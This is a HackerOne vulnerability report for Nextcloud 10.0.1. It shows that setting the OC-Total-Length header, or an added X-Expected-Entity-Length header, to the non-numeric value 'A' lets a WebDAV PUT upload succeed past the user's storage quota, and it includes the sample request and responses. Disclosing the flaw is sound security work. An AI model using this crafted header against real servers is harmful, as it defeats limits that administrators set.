Lucene search

K
hackeroneNordinH1:173622
HistoryOct 03, 2016 - 10:19 a.m.

Nextcloud: Bypassing quota limit

2016-10-0310:19:05
nordin
hackerone.com
51

EPSS

0.001

Percentile

21.7%

Hi
an user can upload files despite having a limited quota by changing value of “OC-Total-Length” in header to “A” or adding “X-Expected-Entity-Length” in header with “A” value

in normal insuffisant storage we have:

PUT /remote.php/webdav/a.jpg HTTP/1.1
Content-Type: application/octet-stream
OC-Async: 1
OC-Chunk-Size: 10000000
OC-Total-Length: 200

Response
HTTP/1.1 507 Insufficient Storage

after changing OC-Total-Length: A , the file is created and the response is:

HTTP/1.1 201 Created

the user can largely exceed its quota and bypass admin restriction
affected version: Latest stable version: 10.0.1

EPSS

0.001

Percentile

21.7%